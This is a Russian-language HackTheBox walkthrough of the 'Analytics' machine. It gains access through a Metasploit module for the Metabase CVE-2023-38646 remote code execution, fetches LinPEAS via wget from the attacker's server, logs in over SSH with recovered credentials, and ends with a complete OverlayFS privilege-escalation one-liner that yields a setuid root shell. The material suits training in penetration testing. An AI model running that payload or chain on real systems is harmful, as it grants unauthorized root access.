HTB Analytics. Повышаем привилегии с помощью CVE-2023-32629

Приветствую, кулхацкеры. Сегодяшний райт будет посвящен взлому
Linux — машины с HackTheBox под названием Analytics.

f397c873e1cb67d4770b1c992e6c84f2.png

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Сканирование и разведка

Как всегда начинаем со сканирования для выявления активных сервисов.

nmap -sC -sV -Pn -p- -T4 10.10.11.234

7e7ee8cfe766a945b926430dc9ef8f29.png

Получаем первичный доступ с помощью Metasploit

По результатам сканирования можно заметить, что на 80 порту висит веб-сервис. Попробуем перейти на веб страницу:

15c81287ce0f25565edb2e85975b17a2.png

Это Metabase. Посерфив на просторах интернета, найдем для него эксплойт. Уязвимость имеет идентификатор CVE-2023–38646 и приводит к удаленному исполнению кода. Как раз то, что нужно для получения первичного доступа. Эксплойт можно найти как на GitHub, так и в Metasploit. Лично я запущу эксплойт в Metasploit:

bb7beb82ed8ef692cb58e02bbf1b031e.png

use exploit/linux/http/metabase_setup_token_rce

be282b966d5ebfae7119023091204a19.png

Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС python3 http.server и через wget скачаем нужный нам скрипт:

python3 -m http.server 80

8924febd4fd01e9b340550b35f964938.png

wget http://10.10.16.68/linpeas.sh

1b99f6d8f3d7bf46d0f86416d68b92d7.png

Запустим LinPEAS:

bash ./linpeas.sh

Отработав, скрипт найдет креды для подключения по SSH:

cf1fee484ecf2b71020424f239dbb722.png

Подключимся к машине с помощью ssh:

ssh metalytics@10.10.11.233

0e4cde3ef096c12519214bdd0bd7eb58.png56ced0a848a2d38a544e74487b49db19.png

Здесь же будет находится флаг user.txt

21cf158933ba06c18ab89a6c409e3775.png

Повышение привилегий

Точно также запустим python3 http.server, перекинем через wget LinPEAS и запустим его на машине:

fa3710e19318ffa82b147a166ed5eff8.png180d6f653f57703b2bdc3eb0cb95a20f.png

После отработки скрипта определим версию Ubuntu и найдем под нее уязвимость для повышения привилегий. Либо можно определить версию ОС с помощью cat /etc/os-release. Уязвимость для повышения привилегий связана с расхождениями в реализации модуля OverlayFS в ядре Linux. OverlayFS — это реализация файловой системы с объединенным монтированием, которая становится предметом внимания злоумышленников из-за возможности получения непривилегированного доступа через пространства имен пользователей и наличия легко эксплуатируемых ошибок. Скопируем нагрузку с эксплойта и запустим ее для повышения привилегий:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

ee7f46fac0ef86112d9d1b1184bb08f9.png

Машина пройдена!

© Habrahabr.ru